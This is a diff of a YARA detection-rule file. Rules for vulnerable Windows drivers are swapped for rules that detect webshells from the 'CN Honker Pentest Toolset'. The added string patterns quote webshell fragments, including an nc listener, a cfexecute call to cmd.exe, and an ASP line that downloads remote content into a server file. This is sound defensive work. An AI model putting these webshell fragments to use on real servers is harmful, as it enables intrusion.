-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <444KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_19D0 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell__Asp4_Asp4_MSSQL__MSSQL_ : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "9d4595ab-29a2-5b71-b03b-9730db4eadca"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e0070f0d-35d0-5024-88e7-e0e04b29f485"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1788-L1808"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0"
-		logic_hash = "0d4f44ece27db1def197e6353d59677915f7f58eb5ff4661d2b8e024eb07acb7"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L901-L921"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8ec5ad87c83c16f47391c3ce08cee74c6be1e42c288eec6d1559867d28489c6"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii
+		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
+		$s2 = "Set Conn = Nothing " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <341KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_7795 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell__Injection_Jmcook_Jmpost_Manualinjection : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "28b6dde3-fb27-535d-b948-aafb2b95e1f4"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e154ecb5-9d56-520a-b76a-635a8864f0a8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1811-L1831"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "77955af8a8bcea8998f4046c2f8534f6fb1959c71de049ca2f4298ba47d8f23a"
-		logic_hash = "e40b8be839e984249b06d841ca0f37f7dbc6f7889ec4d83e4bf8c245cbbbd579"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L923-L942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f3a4f81326154a6a6ac448d18be29ad534917bc39aba26cc458f06b43001681"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003200200041004d0044002c00200049006e0063002e }
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
+		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <7342KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_9B1A : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Cmfshell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "9dd62c3a-8f3c-5df0-a6a2-fcaa72c4ed16"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c5670deb-952c-5ba4-949a-097cc09bb108"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1834-L1854"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194"
-		logic_hash = "fcef672d2e2c24f4b1323554ca206f3bd67657af96ad774056e5fd0181cc7ac7"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L944-L959"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
+		logic_hash = "f138a82c2d6a831626fe200308eb89cb50ffeec2f2722599eb4ccbd082bad73d"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
+		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
+		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <4KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltsys_Pancafemanager_7E01 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php4 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFlt.sys"
-		author = "Florian Roth"
-		id = "1d9363a1-e32e-5989-8777-6e530efa6a55"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "82446dff-dd1e-54a8-bb70-570bedc805b5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1857-L1877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7"
-		logic_hash = "6f9a951d64947f6930614206f10eb51a5f43566fdc6425821608e0f847818f75"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L961-L975"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
+		logic_hash = "e625b6d1fd2c1e62306ccae2775ee7b53ddcdd7a6baef55b386dfcd92dc2e764"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$s0 = "nc -l -vv -p port(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x4850 and filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Lenovogrouplimitedr_Lenovodiagnosticsdriversys_Lenovodiagnostics_F05B : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Linux_2_6_Exploit : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LenovoDiagnosticsDriver.sys"
-		author = "Florian Roth"
-		id = "791da32a-272c-5bde-9722-cc4c68321ad7"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
+		author = "Florian Roth (Nextron Systems)"
+		id = "22e2aca7-418f-598f-af0c-99942aaf3278"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1880-L1900"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe"
-		logic_hash = "22098d721c4814786834b3ea781283f53d195ba35f51fc8fd75b45f7781d39d4"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L977-L991"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
+		logic_hash = "7f3e2937796358a949ce980210ddeb1a606a7b9c2b4d9c4a4acad49bb556dfc8"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073002000440072006900760065007200200066006f0072002000570069006e0064006f0077007300200031003000200061006e00640020006c0061007400650072002e }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c0065006e006f0076006f002000470072006f007500700020004c0069006d00690074006500640020002800520029 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000320030003200310020004c0065006e006f0076006f002000470072006f007500700020004c0069006d0069007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <56KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Dell_Dbutil_71FE : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DBUtilDrv2.sys"
-		author = "Florian Roth"
-		id = "172e8e13-e1ff-5caf-9759-d607ef072215"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5296405-c345-55dc-acd9-be6aca86c60b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1903-L1920"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009"
-		logic_hash = "dad7c23d78176f31a2a324998e3170a5096a50389ff83af590503fac69791890"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L993-L1009"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
+		logic_hash = "6107afe9895c4e0c865e78bece160246815a0d3c589bfc79f8b369b94481cd89"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440042005500740069006c }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440065006c006c }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0037002e0030002e0030 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440042005500740069006c }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000320031002000440065006c006c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e0020 }
+		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii
+		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii
+		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Atszio_Atsziodriver_673B : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
-		author = "Florian Roth"
-		id = "bcd5bc05-5e71-5491-be7d-94cdbebddd9f"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd619901-6f0e-527e-9926-808176641c09"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1923-L1943"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b"
-		hash = "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a"
-		logic_hash = "d3f753b1bd9dc99cece28a3da9a87e9d211207204f05f573f01391f2c1a08f07"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1011-L1029"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
+		logic_hash = "a66884c71ce0cce05ba6607bf66dc55bfae5393746328c06f5c9ca98005d0caf"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030 }
+		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii
+		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
+		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii
+		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii
+		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <20KB and 3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asus_Asmmapsys_Atkgenericfunctionservice_025E : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Shell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - asmmap64.sys"
-		author = "Florian Roth"
-		id = "68572e19-5b92-57fb-b301-0224e00139cd"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fdfc3fc1-9400-533b-978b-1a1fac112e1f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1946-L1966"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4"
-		logic_hash = "81100a6b0917bd9d6641c1f3db32353d1fe02b34feb5136c3f316f5deaa32f7d"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1031-L1047"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
+		logic_hash = "be3961d6568acfaadfa09efda2f914259a59f4e30725c7d434e89f6020e40515"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0065006d006f007200790020006d0061007000700069006e00670020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005300550053 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004b002000470065006e0065007200690063002000460075006e006300740069006f006e00200053006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039 }
+		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii
+		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii
+		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_FB81 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php7 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
-		author = "Florian Roth"
-		id = "ba5a060c-e889-5f23-9938-7fbfceaae7af"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f21bb0db-d18a-58c0-a227-5baf5536c57b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1969-L1990"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f"
-		hash = "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22"
-		hash = "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0"
-		logic_hash = "ebc8dd2d213b0ff084b8537cc50d7bc2ba692b103251dfc976cad1d2767fc5e3"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1049-L1064"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		logic_hash = "70804d914c6f31422632943bf663f997eb747a290a13b27bfcc66bc3129f136d"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
